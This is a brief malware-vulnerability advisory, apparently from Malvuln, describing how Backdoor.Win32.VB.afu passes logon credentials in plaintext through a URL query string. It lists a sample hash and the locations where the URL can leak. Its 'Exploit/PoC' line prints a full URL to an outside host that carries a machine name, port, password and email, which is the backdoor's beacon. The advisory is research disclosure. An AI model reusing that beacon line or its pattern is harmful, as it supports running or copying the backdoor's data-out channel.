Backdoor.Win32.VB.afu Insecure Transit

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c6ba7fcb9eb9bdd7e081e2e84e784dcb_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.VB.afu  
Vulnerability: Insecure Transit Password Disclosure  
Description: The malware launches Internet Explorer browser and passes logon credentials in plaintext via a URL query string using the HTTP GET request method. Third party attackers who can sniff traffic or access the machine used to logon may also locate the credentials, as the URL contents can potentially be leaked or stored in some of the following locations.  
  
Browser History  
Browser Cache  
Browser Developer Tools  
Cached by web proxy  
Referer Header  
Web Logs  
Shared Systems  
Type: PE32  
MD5: c6ba7fcb9eb9bdd7e081e2e84e784dcb  
Vuln ID: MVID-2021-0392  
Dropped files: Explorer.exe  
Disclosure: 11/05/2021  
  
  
Exploit/PoC:  
http://splintersecurity.com/omerta/Mail/Mail.php?cn=DESKTOP-2B3JQKO&sn=Server&pt=8079&pw=asdfgh&[email protected]  
  
  
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